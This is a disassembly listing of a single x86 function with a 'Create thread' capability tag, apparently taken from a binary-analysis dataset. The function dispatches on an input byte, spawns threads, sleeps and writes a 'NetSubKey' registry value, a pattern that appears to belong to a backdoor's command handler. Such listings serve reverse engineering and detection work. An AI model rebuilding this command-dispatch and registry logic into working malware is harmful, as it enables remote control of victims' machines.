Function at 0x1000548e
Capabilities:
Create thread

Disassembly:
sub esp, 0xd4
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0xd0], eax
push esi
push edi
mov edi, dword [esp + 0xe0]
movzx eax, byte [edi]
mov esi, ecx
cmp eax, 0x39
ja case.0x10005222.2
movzx eax, byte [eax + 0x1000558c]
jmp dword [eax*4 + 0x10005534]
push 1
add esi, 0x9e58
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp case.0x10005222.2
mov ecx, dword [esi + 4]
mov edx, dword [ecx + 0xa8]
push 0
push 0
push 0
push edx
push 0x10004100
push 0
push 0
call fcn.10009d40
mov ecx, dword [esi + 0x9e50]
add esp, 0x1c
mov dword [esi + ecx*4 + 0x210], eax
inc dword [esi + 0x9e50]
jmp case.0x10005222.2
mov edx, dword [esi + 4]
mov eax, dword [edx + 0xa8]
push 1
push 0
push 0
push eax
push 0x100043d0
jmp 0x10005252
mov edx, dword [esi + 4]
mov eax, dword [edx + 0xa8]
push 1
push 0
push 0
push eax
push 0x100041f0
jmp 0x10005252
mov edx, dword [esi + 4]
mov eax, dword [edx + 0xa8]
push 1
push 0
push 0
push eax
push 0x100042e0
jmp 0x10005252
mov edx, dword [esi + 4]
mov eax, dword [edx + 0xa8]
push 0
push 0
push 0
push eax
push 0x10004620
jmp 0x10005252
mov edx, dword [esi + 4]
mov eax, dword [edx + 0xa8]
push 0
push 0
push 0
push eax
push 0x10004710
jmp 0x10005252
push 1
push 0
push 0
inc edi
push edi
push 0x10004800
push 0
push 0
call fcn.10009d40
mov edx, dword [esi + 0x9e50]
add esp, 0x1c
mov dword [esi + edx*4 + 0x210], eax
inc dword [esi + 0x9e50]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x10005222.2
push 1
inc edi
push edi
call fcn.10004a00
add esp, 8
jmp case.0x10005222.2
push 0
inc edi
push edi
call fcn.10004a00
add esp, 8
jmp case.0x10005222.2
call fcn.10004aa0
jmp case.0x10005222.2
movzx eax, byte [edi + 1]
push eax
call fcn.10009480
jmp 0x10005518
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
push 0
push 2
push 0
push 0
push 0
push str.NetSubKey
push closesocket
mov dword [esp + 0x30], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [esp + 0xe4]
mov ecx, dword [esp + 8]
dec eax
push eax
inc edi
push edi
push 1
push 0
push 0x100214e8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x10005222.2
inc edi
push edi
call fcn.10004980
add esp, 4
test al, al
je case.0x10005222.2
mov ecx, esi
call fcn.10004d00
jmp case.0x10005222.2
push 0x63
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.10012980
mov ecx, dword [esp + 0xf0]
dec ecx
push ecx
inc edi
lea edx, [esp + 0x20]
push edi
push edx
call fcn.10011c40
lea eax, [esp + 0x28]
push eax
call fcn.10011fa5
lea ecx, [esp + 0x2c]
push ecx
call fcn.10004e60
add esp, 0x20
test eax, eax
je case.0x10005222.2
mov byte [esp + 8], 0x82
push 2
lea edx, [esp + 0xc]
push edx
mov ecx, esi
mov byte [esp + 0x11], 0
call fcn.10006740
jmp case.0x10005222.2
push 0xc7
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.10012980
mov ecx, dword [esp + 0xf0]
dec ecx
push ecx
inc edi
lea edx, [esp + 0x20]
push edi
push edx
call fcn.10011c40
lea eax, [esp + 0x28]
push eax
call fcn.10011fa5
lea ecx, [esp + 0x2c]
push ecx
call fcn.10004fe0
add esp, 0x20
test eax, eax
je case.0x10005222.2
mov byte [esp + 8], 0x83
jmp 0x10005425
xor eax, eax
mov dword [0x1002a638], eax
mov dword [0x1002a63c], eax
mov eax, dword [esp + 0xe4]
inc edi
push 0x30
mov dword [0x1002a638], edi
mov dword [0x1002a63c], eax
call fcn.10011a91
add esp, 4
push 0
push 0
push 0x1002a638
push 0x10005090
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call fcn.10011a91
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x10005222.2
push 0x30
call fcn.10011a91
add esp, 4
push 0
push 0
inc edi
push edi
push 0x10005190
jmp 0x100054c5
mov ecx, dword [esi + 4]
call fcn.10001640
jmp case.0x10005222.2
push 0x10021560
call fcn.10011fa5
add esp, 4
mov ecx, dword [esp + 0xd8]
pop edi
pop esi
xor ecx, esp
call fcn.10012866
add esp, 0xd4
ret 8